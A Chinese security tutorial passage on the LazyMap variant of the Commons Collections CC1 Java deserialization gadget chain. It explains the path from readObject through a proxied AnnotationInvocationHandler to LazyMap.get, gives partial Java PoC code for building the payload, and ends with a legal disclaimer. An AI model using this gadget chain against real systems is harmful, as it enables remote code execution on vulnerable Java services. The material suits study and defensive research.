cc1链:实现方法2-LazyMap
cc1的触发
我们先回顾一下cc1链子的流程
实现方法2是在ChainedTransformer之后有所不同
LazyMap
LazyMap的get方法中会调用factory的transform
另一个好消息是factory为Transformer对象,我们可以通过decorate的方法在修饰对象时候为其赋值
而在AnnotationInvocationHandler中的invoke调用了get方法
java.lang.reflect包下提供了一个 Proxy 类和一个 InvocationHandler 接口,通过这个类和这个接口可以生成 JDK 动态代理类和动态代理对象,当我们调用这个代理对象的任何方法时都会跳转到其 invoke 方法中。
AnnotationInvocationHandler是InvocationHandler的实现类。
当 readObject 执行到memberValues.entrySet()
时,就会进入到 AnnotationInvocationHandler 的 invoke 方法,再一路走到 get 方法中。
构造方法中传入memberValues
poc
在之前的cc1链:分析与实现
中替换下面的代码
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 反射获取AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 为LazyMap设置代理对象为AnnotationInvocationHandler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
// 将LazyMap传入新创建的AnnotationInvocationHandler对象中
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何违法活动所产生的任何责任。